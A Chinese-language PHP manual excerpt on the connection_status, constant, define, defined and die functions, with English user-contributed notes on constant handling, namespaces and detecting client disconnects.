
获得当前连接的状态位, 可以用于与 CONNECTION_XXX 定义的常量来确定连接状态。

参见

  • connection_aborted() - 检查客户端是否已经断开
  • ignore_user_abort() - 设置客户端断开连接时是否中断脚本的执行
  • 查看连接处理了解PHP处理连接的详情。

User Contributed Notes

Anonymous 11-Dec-2019 06:07
As mentioned, this function returns a status bitfield to which there's a set of constants available. I don't know why those constants aren't actually listed. Although they're easy to guess, I think it's still worth listing them, it is documentation after all. This function has the ability to return integers 0 through 3 so there are 4 possible states.

The constants are as follows:

CONNECTION_NORMAL = 0
CONNECTION_ABORTED = 1
CONNECTION_TIMEOUT = 2

As a 4th state is possible and being a bitfield, this gives rise to CONNECTION_ABORTED|CONNECTION_TIMEOUT (or integer 3) can be used to check for aborted+timeout states.
jorge dot hebrard at gmail dot com 26-Jan-2009 04:01
You can always send chr(0) to check if browser is still alive, that will show no output in browser page (at least in Firefox).
Michael 20-Mar-2005 09:59
Yes it is true. I made some experiments with that functions 'connection_abortes()'. First a source made an error, which I see. They wrote: ignore_user_abort();

But that only gives you the status of the 'Abort-Setting'.
So I try (with little hope)
  'ignore_user_abort(true);'
And as I readout the setting it has changed it...

Next I see that the script runs after I disconnect with the site. But other experiments fail. I try some things and then it
was logical after an experiment: flush() is one of the necessary things. Without those output to the client the function
          'connection_aborted()' stays on 'false'
The Second is that you have to output something. Without that it also doesn't works.
So I now know that you have to echo something and then output the buffer. Only then 'the Script' (or the function)
'knows' that the client is disconnected.
toppi at kacke dot de 16-Jun-2004 09:06
Notice !

if you running a loop (while, foeach etc..)  you have to send something to the browser to check the status.

Example:

while(1){
    if (connection_status()!=0){
    die;
    }
}
doesnt work, if the user break/close the browser.

But a:

while(1){
    Echo "\n"; //<-- send this to the client
    if (connection_status()!=0){
    die;
    }
}
will work :)

i hope it will help some of you to safe some time :)

Toppi


返回一个常量的值

  • ? connection_status
  • define ?
  • PHP Manual
  • 杂项 函数
  • 返回一个常量的值

constant

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

constant — 返回一个常量的值

说明

constant(string $name): mixed

返回 name 对应的常量的值。

当你不知道常量名，却需要获取常量的值时，constant() 就很有用了。也就是说，常量名储存在一个变量里，或者由函数返回时。

该函数也适用类常量和 enum cases。

参数

name

常量名。

返回值

返回常量的值。

错误／异常

如果常量未定义，会抛出 Error 异常。 在 PHP 8.0.0 之前，会产生 E_WARNING 级别的错误。

更新日志

版本 | 说明
8.0.0 | 如果常量未定义，constant() 现在会抛出 Error 异常。以前会产生一个 E_WARNING 级别的错误并返回 null。

示例

Example #1 constant() 与常量一起使用

<?php

define("MAXSIZE", 100);

echo MAXSIZE;
echo constant("MAXSIZE"); // 和上行一样

interface bar {
const test = 'foobar!';
}

class foo {
const test = 'foobar!';
}

$const = 'test';

var_dump(constant('bar::'. $const)); // string(7) "foobar!"
var_dump(constant('foo::'. $const)); // string(7) "foobar!"

?>

Example #2 constant() 和 Enum Cases 一起使用（自 PHP 8.1.0 起）

<?php

enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

$case = 'Hearts';

var_dump(constant('Suit::'. $case)); // enum(Suit::Hearts)

?>

参见

  • define() - 定义一个常量
  • defined() - 检查某个名称的常量是否存在
  • get_defined_constants() - 返回所有常量的关联数组，键是常量名，值是常量值
  • 关于 常量 的章节

User Contributed Notes

nikolays93 at ya dot ru 26-Aug-2020 06:08
<?php

namespace Foo;

define(__NAMESPACE__ . '\Bar', 'its work'); // ..but IDE may make notice

echo Bar; // its work
Anonymous 14-Jun-2019 09:24
The use of constant() (or some other method) to ensure the your_constant was defined is particularly important when it is to be defined as either `true` or `false`.

For example, taken from this Stackoverflow Question
https://stackoverflow.com/questions/5427886/php-undefined-constant-testing/56604602#56604602)

 If `BOO` did NOT get defined as a constant, for some reason,

    <?php if(BOO) do_something(); ?>

would evaluate to `TRUE` and run anyway.  A rather unexpected result.

The reason is that PHP ASSUMES you "forgot" quotation marks around `BOO` when it did not see it in its list of defined constants.
So it evaluates: `if ('BOO')`...
Since every string, other than the empty string, is "truthy", the expression evaluates to `true` and the do_something() is run, unexpectedly.

If you instead use:
     <?php if (constant(BOO)) do_something() ?>

then if `BOO` has not been defined, `constant(BOO)` evaluates to `null`,
which is falsey, and `if (null)`... becomes `false`, so do_something() is skipped, as expected.

The PHP behavior regarding undefined constants is particularly glaring when having a particular constant defined is the exception, "falsey" is the default, and having a "truthy" value exposes a security issue. For example,
<?php if (IS_SPECIAL_CASE) show_php_info() ?> .

There are other ways around this PHP behavior, such as
<?php if (BOO === true) do_something(); ?>
or
<?php if (defined('BOO') && BOO) do_something() ?>.

Note that only the version using `defined()` works without also throwing a PHP Warning  "error message."

Here is a php repl.it demonstration:
https://repl.it/@sherylhohman/php-undefined-constants-beware-of-truthy-conversion?language=php_cli&folderId=

(disclosure: I also submitted an answer to the SO question linked to above)
mohammad alzoqaily 21-Sep-2017 07:08
// 1)  you can store the name of constant in default variable
 //     and use it without identify it's name :)

        $str= "constName";

        define("constName","this is constant");

        echo constant($str);

       output:
             this is constant

// 2)  good for dynamic generating  constants

         function generateConst( $const ,  $value , $sensitivity=TRUE )
             {

                    define( "$const" , "$value ",$sensitivity);
              }

              $CONST="cost";
              $VALUE="100$";

             generateConst( $CONST , $VALUE);

             echo constant($const);

        output:
                100$
helvete at zhouba dot cz 03-Nov-2016 11:08
It is worth noting, that keyword 'self' can be used for constant retrieval from within the class it is defined

<?php
class Foo {
  const PARAM_BAR = 'baz';

  public function getConst($name) {
    return constant("self::{$name}");
  }
}

$foo = new Foo();
echo $foo->getConst('PARAM_BAR'); // prints 'baz'
?>
t dot kmieliauskas at gmail dot com 21-Apr-2015 02:02
If you are referencing class constant (either using namespaces or not, because one day you may want to start using them), you'll have the least headaches when doing it like this:

<?php
class Foo {
    const BAR = 42;
}
?>
<?php
namespace Baz;
use \Foo as F;

echo constant(F::class.'::BAR');
?>

since F::class will be dereferenced to whatever namespace shortcuts you are using (and those are way easier to refactor for IDE than just plain strings with hardcoded namespaces in string literals)
Richard J. Turner 31-Jan-2013 11:57
As of PHP 5.4.6 constant() pays no attention to any namespace aliases that might be defined in the file in which it's used. I.e. constant() always behaves as if it is called from the global namespace. This means that the following will not work:

<?php
class Foo {
    const BAR = 42;
}
?>

<?php
namespace Baz;

use \Foo as F;

echo constant('F::BAR');
?>

However, calling constant('Foo::BAR') will work as expected.
adam at adamhahn dot com 28-Sep-2011 12:59
This function is namespace sensitive when calling class constants.

Using:
<?php namespace sub;

class foo {
    const BAR = 'Hello World';
}

constant('foo::BAR'); // Error

constant('sub\foo::BAR'); // works

?>

This does not seem to affect constants defined with the 'define' function. Those all end up defined in the root namespace unless another namespace is implicitly defined in the string name of the constant.
bohwaz 05-Jul-2010 06:28
Return constants from an object. You can filter by regexp or match by value to find a constant name from the value.

Pretty useful sometimes.

<?php

function findConstantsFromObject($object, $filter = null, $find_value = null)
{
    $reflect = new ReflectionClass($object);
    $constants = $reflect->getConstants();

    foreach ($constants as $name => $value)
    {
        if (!is_null($filter) && !preg_match($filter, $name))
        {
            unset($constants[$name]);
            continue;
        }

        if (!is_null($find_value) && $value != $find_value)
        {
            unset($constants[$name]);
            continue;
        }
    }

    return $constants;
}

?>

Examples :

<?php

class Example
{
    const GENDER_UNKNOW = 0;
    const GENDER_FEMALE = 1;
    const GENDER_MALE = 2;

    const USER_OFFLINE = false;
    const USER_ONLINE = true;
}

$all = findConstantsFromObject('Example');

$genders = findConstantsFromObject('Example', '/^GENDER_/');

$my_gender = 1;
$gender_name = findConstantsFromObject('Example', '/^GENDER_/', $my_gender);

if (isset($gender_name[0]))
{
    $gender_name = str_replace('GENDER_', '', key($gender_name));
}
else
{
    $gender_name = 'WTF!';
}

?>
hellekin 25-May-2010 08:07
Checking if a constant is empty is bork...

You cannot

<?php
define('A', '');
define('B', 'B');

if (empty(B)) // syntax error
if (empty(constant('B'))) // fatal error

// so instead, thanks to LawnGnome on IRC, you can cast the constants to boolean (empty string is false)
if (((boolean) A) && ((boolean) B))
  // do stuff
?>
dachnik 09-Apr-2010 11:41
You can define values in your config file using the names of your defined constants, e.g.

in your php code:
define("MY_CONST",999);

in you config file:
my = MY_CONST

When reading the file do this:

$my = constant($value); // where $value is the string "MY_CONST"

now $my holds the value of 999
XC 19-Jan-2007 02:13
When you often write lines like

<?php

if(defined('FOO') && constant('FOO') === 'bar')
{
...
}

?>

to prevent errors, you can use the following function to get the value of a constant.

<?php

function getconst($const)
{
    return (defined($const)) ? constant($const) : null;
}

?>

Finally you can check the value with

<?php

if(getconst('FOO') === 'bar')
{
...
}

?>

It's simply shorter.
narada dot sage at googlemail dot com 13-Jul-2006 06:01
To access the value of a class constant use the following technique.

<?php

class a {
    const b = 'c';
}

echo constant('a::b');

// output: c

?>
service at dual-creators dot de 16-May-2006 10:00
It's easily to user constant() and define() to translate some words from your database-saves.

For example:
You have a table userprofil and one coloumn is "gender".
Gender can be male or female but you will display "maennlich" or "weiblich" (german words for it - whatever...)

First step: Fetch into $Gender

Second:
define("male", "maennlich");
define("female", "weiblich");

Third:
echo constant($Gender);

Now, the index of the variable $Gender will be handled like a constant!

(It works like "echo male;" for better understanding)

And a result of this, it displays maennlich btw. weiblich!

greetz
Trevor Blackbird > yurab.com 18-Apr-2006 02:58
Technically you can define constants with names that are not valid for variables:

<?php

// $3some is not a valid variable name
// This will not work
$3some = 'invalid';

// This works
define('3some', 'valid');
echo constant('3some');

?>

Of course this is not a good practice, but PHP has got you covered.
11-Oct-2005 07:20
In reply to VGR_experts_exchange at edainworks dot com

To check if a constant is boolean, use this instead:

<?php
if (TRACE === true)  {}
?>

Much quicker and cleaner than using defined() and constant() to check for a simple boolean.

IMO, using ($var === true) or ($var === false) instead of ($var) or (!$var) is the best way to check for booleans no matter what. Leaves no chance of ambiguity.
Joachim Kruyswijk 13-Nov-2004 09:12
The constant name can be an empty string.

Code:

define("", "foo");
echo constant("");

Output:

foo
Andre 27-Apr-2003 01:10
Maybe this is useful:

$file_ext is the file Extension of the image

<?php
if ( imagetypes() & @constant('IMG_' . strtoupper($file_ext)) )
{
    $file_ext = $file_ext == 'jpg' ? 'jpeg' : $file_ext;
    $create_func = 'ImageCreateFrom' . $file_ext;
}
?>


定义一个常量

  • ? constant
  • defined ?
  • PHP Manual
  • 杂项 函数
  • 定义一个常量

define

(PHP 4, PHP 5, PHP 7, PHP 8)

define — 定义一个常量

说明

define(string $constant_name, mixed $value, bool $case_insensitive = false): bool

在运行时定义一个常量。

参数

constant_name

常量名。

Note:

可以用 define() 定义保留关键词甚至无效名称的常量，它的值可以（仅可以）通过 constant() 获取。 不过，不推荐这么做。

value

常量的值。在 PHP 5 中，value 必须是 scalar 值（int、 float、string、boolean 或 null）。在 PHP 7 中， array 值也被允许。

Warning

常量还可以定义为 resource 类型，但并不推荐这样做，因为可能会有不可预知的行为发生。

case_insensitive

如果设置为 true，则该常量不区分大小写。默认是区分大小写的。比如， CONSTANT 和 Constant 代表了不同的值。

Warning

PHP 7.3.0 起，废弃定义不区分大小写的常量。自 PHP 8.0.0 开始， 只接受 false 值，传递 true 将产生警告。

Note:

不区分大小写的常量以小写的形式储存。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在传递 true 到 case_insensitive 会发出 E_WARNING。仍然允许传递 false。
7.3.0 | 废弃了 case_insensitive，并将在 8.0.0 版中移除。
7.0.0 | 允许 array 的值。

示例

Example #1 定义常量

<?php
define("CONSTANT", "Hello world.");
echo CONSTANT; // 输出 "Hello world."
echo Constant; // 输出 "Constant" 并导致 Notice

define("GREETING", "Hello you.", true);
echo GREETING; // 输出 "Hello you."
echo Greeting; // 输出 "Hello you."

// PHP 7 起就可以运行了
define('ANIMALS', array(
'dog',
'cat',
'bird'
));
echo ANIMALS[1]; // 输出 "cat"

?>

Example #2 以保留名称定义常量

本例子说明了以 魔术常量相同名称定义常量的能力。由于行为结果过于令人迷惑，所以实践中不推荐。

<?php
var_dump(defined('__LINE__'));
var_dump(define('__LINE__', 'test'));
var_dump(constant('__LINE__'));
var_dump(__LINE__);
?>

以上示例会输出：

bool(false)
bool(true)
string(4) "test"
int(5)

参见

  • defined() - 检查某个名称的常量是否存在
  • constant() - 返回一个常量的值
  • 关于常量的章节

User Contributed Notes

tux dot lector at gmail dot com 30-Apr-2023 12:33
Since version 8 or 8.1, beat me if I recall any type of class
as defined constant value is perfectly valid.

Should You use it, I wouldn't know.
Most probably, referencing with such instances will fail badly.
But it might come handy for public and readonly classes.

<?php

  define ('ClassInstance',
  new class extends \My\OtherClass {

    private bool $toggle = false;
    private float $real = 1.2345;
    private ?string $obj = null;

    public function __construct() {
        $this-> privatemethod();
    }

    private function privatemethod() {
        $this-> obj = var_export ($this, true);
    }

  });

?>
agneady at gmail dot nospam dot please dot com 06-Oct-2021 08:05
If you happen to name your constant the same as a function name (either a built-in function or a user-defined one), PHP can handle this correctly based on context. For example:

<?php
function myfunc() {
   return 'function output';
}

define('MYFUNC', 'constant value');

// note that function names are NOT case-sensitive
// so calling MYFUNC() is the same as calling myfunc()

echo 'MYFUNC(): ' . MYFUNC() . ', MYFUNC: ' . MYFUNC;
?>

Output:
MYFUNC(): function output, MYFUNC: constant value
ohcc at 163 dot com 22-Mar-2020 12:34
A namespace constant can be defined using the define function, the constant defined this way is not global.

<?php
    namespace WuXiancheng;
    \define('China\Sichuan\Guangan\Yuechi\ZIP', 638300);
    echo ZIP; //Use of undefined constant ZIP
    echo \China\Sichuan\Guangan\Yuechi\ZIP; // 638300
?>
David Spector 19-Jul-2019 03:03
It may be worth stating that a define function must be executed before its global constant is referenced.

Example:

Abc();
define("TEST", 23);
function Abc()
    {
    echo TEST;
    } // Abc

This code fails with a Notice-level message. TEST is treated here as being the string "TEST".
me at mariusgerum dot de 18-Sep-2018 09:29
You can define constants with variable names (works also with constant values or variables or array values or class properties and so on - as long it's a valid constant name).

<?php

    # Define a constant and set a valid constant name as string value
    define("SOME_CONSTANT", "NEW_CONSTANT");

    # Define a second constant with dynamic name (the value from SOME_CONSTANT)
    define(SOME_CONSTANT, "Some value");

    # Output
    echo SOME_CONSTANT; // prints "NEW_CONSTANT"
    echo "<br>";
    echo NEW_CONSTANT; // prints "Some value"

    ?>

Needless to say that you'll lose your IDE support for refactoring and highlighting completely for such cases.
No clue why someone would / could actually use this but i thought it's worth mentioning.
@SimoEast on Twitter 08-Jun-2017 03:10
Not sure why the docs omit this, but when attempting to define() a constant that has already been defined, it will fail, trigger an E_NOTICE and the constant's value will remain as it was originally defined (with the new value ignored).

(Guess that's why they're called "constants".)
Dale Landry 16-Apr-2017 09:45
With php 7 you can now define arrays.

consider the following code:
<?php

define( "EXPLENATIVES", [1 => "Foo Bar", 2 => "Fehw Bahr", 3 => "Foo Bahr", 4 => "Fooh Bar", 5 => "Fooh Bhar", 6 => "Foo Barr", 7 => "Foogh Bar", 8 => "Fehw Barr", 9 => "Fu bar", 10 => "Foo Bahr", 11 => "Phoo Bar", 12 => "Foo Bawr", 13 => "Phooh Baughr", 14 => "Foogan Bargan", 15 => "Foo Bahre", 16 => "Fu Bahar", 17 => "Fugh Bar", 18 => "Phou Baughr"]);

//set up define methods using mixed values; both array and non-array values
define("NAVBTNS", [EXPLENATIVES, "Nouns", "Verbs", "Adjectives"]);

//function to create a dropdown menu using the EXPLENATIVES array $btn=EXPLENATIVES=assoc_array

function construct_navbar_buttons(){

    $btns = '<ul class="nav navbar-nav">';

    foreach(NAVBTNS as $button => $btn){
        if(is_array($btn)){
            $btns .= '<li class="dropdown">
                        <a class="dropdown-toggle" data-toggle="dropdown" href="?id='.$btn.'">
                            <i class="glyphicon glyphicon-user"></i> You Dare Say? <i class="glyphicon glyphicon-collapse-down"></i>
                        </a>
                        <ul class="dropdown-menu dropdown-user">';
            foreach(EXPLENATIVES as $key => $button){
                $btns .= '<li><a href="#">'.$button.'</a></li>';
            }
            $btns .= '</ul>';
        }else{
            $btns .= '<li><a href="#">'.$btn.'</a></li>';
        }
    }

    $btns .= '</ul>';
    return $btns;
}

Love this new implementation!

?>
Anonymous 15-Apr-2017 08:33
There's an undocumented side-effect of setting the third parameter to true (case-insensitive constants): these constants can actually be "redefined" as case-sensitive, unless it's all lowercase (which you shouldn't define anyway).

The fact is that case-sensitive constants are stored as is, while case-insensitive constants are stored in lowercase, internally. You're still allowed to define other constants with the same name but capitalized differently (except for all lowercase).

<?php
  // "echo CONST" prints 1, same as "echo const", "echo CoNst", etc.
  define('CONST', 1, true);
  echo CONST; // Prints 1

  define('CONST', 2);
  echo CONST; // Prints 2
  echo CoNsT; // Prints 1
  echo const; // Prints 1

  // ** PHP NOTICE: Constant const already defined **
  define('const', 3);
  echo const; // Prints 1
  echo CONST; // Prints 2
?>

Why would you use this?

A third party plugin might attempt to define a constant for which you already set a value. If it's fine for them to set the new value, assuming you cannot edit the plugin, you could define your constant case-insensitive. You can still access the original value, if needed, by using any capitalization other than the one the plugin uses. As a matter of fact, I can't think of another case where you would want a case-insensitive constant...
axew3 at axew3 dot com 05-Sep-2016 08:46
Php 7 - Define: "Defines a named constant at runtime. In PHP 7, array values are also accepted."

But prior PHP 7, you can maybe do this, to pass an array elsewhere using define:

$to_define_array = serialize($array);
define( "DEFINEANARRAY", $to_define_array );

... and so ...

$serialized = DEFINEANARRAY; // passing directly the defined will not work
      $our_array = unserialize($serialized);

print_r($our_array);
swisschocolate at cmail dot nu 13-Feb-2016 11:35
I think worth mentioning is that define() appears to ignore invalid constant names.
One immediate implication of this seem to be that if you use an invalid constant name you have to use constant() to access it and obviously that you can't use the return value from define() to tell you whether the constant name used is invalid or not.

For example:
$name = '7(/!§%';
var_dump(define($name, "hello")); // outputs bool(true)
var_dump(constant($name)); // outputs string(5) "hello"
ravenswd at gmail dot com 22-Feb-2015 03:11
Be aware that if "Notice"-level error reporting is turned off, then trying to use a constant as a variable will result in it being interpreted as a string, if it has not been defined.

I was working on a program which included a config file which contained:

<?php
define('ENABLE_UPLOADS', true);
?>

Since I wanted to remove the ability for uploads, I changed the file to read:

<?php
//define('ENABLE_UPLOADS', true);
?>

However, to my surprise, the program was still allowing uploads. Digging deeper into the code, I discovered this:

<?php
if ( ENABLE_UPLOADS ):
?>

Since 'ENABLE_UPLOADS' was not defined as a constant, PHP was interpreting its use as a string constant, which of course evaluates as True.
phen at adnerdum dot org 06-Jul-2011 01:32
To clear up a few thing:
Integers with 0 in front work. But since PHP (and many other languages) handle them as octal values, they're only allowed a range of 0-7:

<?php
 define('GOOD_OCTAL', 0700);
 define('BAD_OCTAL', 0800);

 print GOOD_OCTAL;
 print '<br>';
 print BAD_OCTAL;
?>

Result:
448
0

---------------------------------------

Furthermore,

writing the constant name without the quotation-marks (as mentioned in the notes) throws an E_NOTICE and should be avoided!

<?php
 define(TEST, 'Throws an E_NOTICE');
?>

Result:
Notice: Use of undefined constant TEST - assumed 'TEST'
Jamie 01-Mar-2011 01:24
This is obvious, but easy to forget: if you include a file, the include file can only make use of constants already defined. For example:

<?php
define("VEG","cabbage");
require("another file");
define("FRUIT","apple");

// "another file":
echo VEG; // cabbage
echo FRUIT; // FRUIT
?>
chris at peeto dot net 25-Mar-2010 07:15
The value of a constant can be the value of another constant.

<?php

define("NEW_GOOD_NAME_CONSTANT", "I have a value");
define("OLD_BAD_NAME_CONSTANT", NEW_GOOD_NAME_CONSTANT);

echo NEW_GOOD_NAME_CONSTANT; // current
echo OLD_BAD_NAME_CONSTANT; // legacy

?>
danbettles at yahoo dot co dot uk 14-Apr-2009 11:56
define() will define constants exactly as specified.  So, if you want to define a constant in a namespace, you will need to specify the namespace in your call to define(), even if you're calling define() from within a namespace.  The following examples will make it clear.

The following code will define the constant "MESSAGE" in the global namespace (i.e. "\MESSAGE").

<?php
namespace test;
define('MESSAGE', 'Hello world!');
?>

The following code will define two constants in the "test" namespace.

<?php
namespace test;
define('test\HELLO', 'Hello world!');
define(__NAMESPACE__ . '\GOODBYE', 'Goodbye cruel world!');
?>
eparkerii at carolina dot rr dot com 22-Oct-2008 12:01
Found something interesting.  The following define:

<?php
define("THIS-IS-A-TEST","This is a test");
echo THIS-IS-A-TEST;
?>

Will return a '0'.

Whereas this:

<?php
define("THIS_IS_A_TEST","This is a test");
echo THIS_IS_A_TEST;
?>

Will return 'This is a test'.

This may be common knowledge but I only found out a few minutes ago.

[EDIT BY danbrown AT php DOT net: The original poster is referring to the hyphens versus underscores.  Hyphens do not work in defines or variables, which is expected behavior.]
jan at webfontein dot nl 27-Jul-2008 05:20
For translating with variables and define, take also a look on the constant() function.

Example :

<?php
define('PAYMENT_IDEAL',"iDEAL Payment ( NL only )");
define('PAYMENT_MASTERCARD',"Mastercard Payment ( international )");

$payparam='MASTERCARD';

echo constant("PAYMENT_$payparam");

// output :
// Mastercard Payment ( international )
?>


检查某个名称的常量是否存在

  • ? define
  • die ?
  • PHP Manual
  • 杂项 函数
  • 检查某个名称的常量是否存在

defined

(PHP 4, PHP 5, PHP 7, PHP 8)

defined — 检查某个名称的常量是否存在

说明

defined(string $constant_name): bool

检查该名称的常量是否已定义。

此函数也可以跟累常量和 enum cases 一起工作。

Note:

如果你要检查一个变量是否存在，请使用 isset()。
defined() 函数仅对 常量
有效。如果你要检测某个函数是否存在，使用 function_exists()。

参数

constant_name

常量的名称。

返回值

如果名称 constant_name 的常量已定义，返回 true；未定义则返回 false。

示例

Example #1 检查常量

<?php

/* 注意引号的使用，这很重要。这个例子是检查
* 如果字符串 'TEST' 是 TEST 常量的名称 */
if (defined('TEST')) {
echo TEST;
}

interface bar {
const test = 'foobar!';
}

class foo {
const test = 'foobar!';
}

var_dump(defined('bar::test')); // bool(true)
var_dump(defined('foo::test')); // bool(true)

?>

Example #2 检测 Enum Cases（自 PHP 8.1.0 起）

<?php

enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

var_dump(defined('Suit::Hearts')); // bool(true)

?>

参见

  • define() - 定义一个常量
  • constant() - 返回一个常量的值
  • get_defined_constants() - 返回所有常量的关联数组，键是常量名，值是常量值
  • function_exists() - 如果给定的函数已经被定义就返回 true
  • 关于常量的章节

User Contributed Notes

ohcc at 163 dot com 09-Sep-2020 02:08
If a constant's name has a leading backslash (\), it's not possible to detect its existence using the defined() function, or to get its value using the constant() function.

You can check its existence and get its value using the get_defined_constants() function, or prepend 2 more backslashes (\\) to the constant's name.

<?php
    define('\DOMAIN', 'wuxiancheng.cn');
    $isDefined = defined('\DOMAIN'); // false
    $domain = constant('\DOMAIN'); // NULL, in Php 8+ you'll get a Fatal error.
    var_dump($isDefined, $domain);
?>

<?php
    define('\DOMAIN', 'wuxiancheng.cn');
    $constants = get_defined_constants();
    $isDefined = isSet($constants['\DOMAIN']);
    $domain = $isDefined ? $constants['\DOMAIN'] : NULL;
    var_dump($isDefined, $domain);
?>

<?php
    define('\DOMAIN', 'wuxiancheng.cn');
    $isDefined = defined('\\\DOMAIN');
    $domain = constant('\\\DOMAIN');
    var_dump($isDefined, $domain);
?>
nahiddhaka07 at gmail dot com 05-Jun-2020 08:56
<?php

define("GREET", "Hi");

defined("GREET") || define("GREET", "Hello");

echo GREET;

// Output is: Hi
louis at louisworks dot de 16-Oct-2018 01:06
Dont forget to put the name of your constant into single quotation mark. You will not get an error or a warning.

<?php
define("AMOUNT_OF_APPLES", 12);
if(defined(AMOUNT_OF_APPLES)){
   //you won't get an output here
   echo AMOUNT_OF_APPLES;
}
?>

so do instead

<?php
define("AMOUNT_OF_APPLES", 12);
if(defined("AMOUNT_OF_APPLES")){
   //here you go
   echo AMOUNT_OF_APPLES;
}

//output: 12
?>

It took me half an day to see it...
Anonymous 26-Jul-2017 06:39
Be careful with boolean defines and assuming a check is done for a specific value by defined such as
<?php

define('DEBUG', false);

if(defined('DEBUG')){
    echo 'Not really debugging mode';
}
?>

You want to also check the constant as in

<?php
define('DEBUG', true);

if(defined('DEBUG') && DEBUG){
    echo 'Really this is debugging mode';
}
?>

All defined is doing is verifying the constant exists not it's value.
ASchmidt at Anamera dot net 31-Mar-2017 08:08
// Checking the existence of a class constant, if the class is referenced by a variable.

class Class_A
{
    const CONST_A = 'value A';
}

// When class name is known.
if ( defined( 'Class_A::CONST_A' ) )
    echo 'Class_A::CONST_A defined';

// Using a class name variable. Note the double quotes.
$class_name = Class_A::class;
if ( defined( "$class_name::CONST_A" ) )
    echo '$class_name::CONST_A defined';

// Using an instantiated object for a variable class.
$object_A = new $class_name();
if ( defined( get_class($object_A).'::CONST_A' ) )
    echo '$object_A::CONST_A defined';
passerbyxp at gmail dot com 02-Nov-2012 12:10
This function, along with constant(), is namespace sensitive. And it might help if you imagine them always running under the "root namespace":

<?php
namespace FOO\BAR
{
    const WMP="wmp";
    function test()
    {
        if(defined("WMP")) echo "direct: ".constant("WMP"); //doesn't work;
        elseif(defined("FOO\\BAR\\WMP")) echo "namespace: ".constant("FOO\\BAR\\WMP"); //works
        echo WMP; //works
    }
}
namespace
{
    \FOO\BAR\test();
}
Lars Lernestal 25-Oct-2011 02:03
if you want to check id a class constant is defined use self:: before the constant name:

<?php
defined('self::CONSTANT_NAME');
?>
vindozo at gmail dot com 31-Aug-2010 02:21
If you wish to protect files from direct access I normally use this:

index.php:

<?php
// Main stuff here
define('START',microtime());

include "x.php";
?>

x.php:

<?php
defined('START')||(header("HTTP/1.1 403 Forbidden")&die('403.14 - Directory listing denied.'));
?>
r dot hartung at roberthartung dot de 03-Dec-2009 11:45
You can use the late static command "static::" withing defined as well. This example outputs - as expected - "int (2)"

<?php
  abstract class class1
  {
    public function getConst()
    {
      return defined('static::SOME_CONST') ? static::SOME_CONST : false;
    }
  }

  final class class2 extends class1
  {
    const SOME_CONST = 2;
  }

  $class2 = new class2;

  var_dump($class2->getConst());
?>
info at daniel-marschall dot de 11-Jul-2009 01:51
I found something out: defined() becomes probably false if a reference gets lost.

<?php

session_start(); // $_SESSION created
define('SESSION_BACKUP', $_SESSION);
if (defined('SESSION_BACKUP')) echo 'A';
session_unset(); // $_SESSION destroyed
if (defined('SESSION_BACKUP')) echo 'B';

?>

You will see "A", but not "B".
tris+php at tfconsulting dot com dot au 26-Mar-2009 06:40
Before using defined() have a look at the following benchmarks:

true                                       0.65ms
$true                                      0.69ms (1)
$config['true']                            0.87ms
TRUE_CONST                                 1.28ms (2)
true                                       0.65ms
defined('TRUE_CONST')                      2.06ms (3)
defined('UNDEF_CONST')                    12.34ms (4)
isset($config['def_key'])                  0.91ms (5)
isset($config['undef_key'])                0.79ms
isset($empty_hash[$good_key])              0.78ms
isset($small_hash[$good_key])              0.86ms
isset($big_hash[$good_key])                0.89ms
isset($small_hash[$bad_key])               0.78ms
isset($big_hash[$bad_key])                 0.80ms

PHP Version 5.2.6, Apache 2.0, Windows XP

Each statement was executed 1000 times and while a 12ms overhead on 1000 calls isn't going to have the end users tearing their hair out, it does throw up some interesting results when comparing to if(true):

1) if($true) was virtually identical
2) if(TRUE_CONST) was almost twice as slow - I guess that the substitution isn't done at compile time (I had to double check this one!)
3) defined() is 3 times slower if the constant exists
4) defined() is 19 TIMES SLOWER if the constant doesn't exist!
5) isset() is remarkably efficient regardless of what you throw at it (great news for anyone implementing array driven event systems - me!)

May want to avoid if(defined('DEBUG'))...
reachmike at hotpop dot com 30-Nov-2008 10:17
You may find that if you use <?= ?> to dump your constants, and they are not defined, depending on your error reporting level, you may not display an error and, instead, just show the name of the constant. For example:

<?= TEST ?>

...may say TEST instead of an empty string like you might expect. The fix is a function like this:

<?php

function C(&$constant) {
    $nPrev1 = error_reporting(E_ALL);
    $sPrev2 = ini_set('display_errors', '0');
    $sTest = defined($constant) ? 'defined' : 'not defined';
    $oTest = (object) error_get_last();
    error_reporting($nPrev1);
    ini_set('display_errors', $sPrev2);
    if ($oTest->message) {
        return '';
    } else {
        return $constant;
    }
}

?>

And so now you can do:

<?= C(TEST) ?>

If TEST was assigned with define(), then you'll receive the value. If not, then you'll receive an empty string.

Please post if you can do this in fewer lines of code or do something more optimal than toggling the error handler.
daniel at neville dot tk 14-Jul-2008 10:48
My preferred way of checking if a constant is set, and if it isn't - setting it (could be used to set defaults in a file, where the user has already had the opportunity to set their own values in another.)

<?php

defined('CONSTANT') or define('CONSTANT', 'SomeDefaultValue');

?>

Dan.
Shaun H 28-Mar-2008 11:30
I saw that PHP doesn't have an enum function so I created my own. It's not necessary, but can come in handy from time to time.

<?php
    function enum()
    {
        $args = func_get_args();
        foreach($args as $key=>$arg)
        {
            if(defined($arg))
            {
                 die('Redefinition of defined constant ' . $arg);
            }

            define($arg, $key);
        }
    }

    enum('ONE','TWO','THREE');
    echo ONE, ' ', TWO, ' ', THREE;
?>
Joel 20-Aug-2007 05:35
If your constants don't show up in your included or required files, then you probably have php safe mode turned on!

I ran into this problem, I forgot to turn of safe mode when I was creating a new site.
ndove at cox dot net 27-Jan-2005 07:20
In PHP5, you can actually use defined() to see if an object constant has been defined, like so:

<?php

class Generic
{
    const WhatAmI = 'Generic';
}

if (defined('Generic::WhatAmI'))
{
    echo Generic::WhatAmI;
}

?>

Thought it may be useful to note.

-Nick


等同于 exit

  • ? defined
  • eval ?
  • PHP Manual
  • 杂项 函数
  • 等同于 exit

die

(PHP 4, PHP 5, PHP 7, PHP 8)

die — 等同于 exit()

说明

语法结构等同于 exit()。

User Contributed Notes

stysan 29-Aug-2022 05:08
The "die" function is good to use when an error occurs and you need to instantly leave, and the "exit" function is good to use when a program is done without any errors. Why that? So you can search dies in the program and debug better.
atesin gamil com 07-Mar-2022 05:52
"... OR DIE..."

<?php
    do_something($with_this) or die ('oops!');
?>

(in php, "die" is actually an alias of "exit")

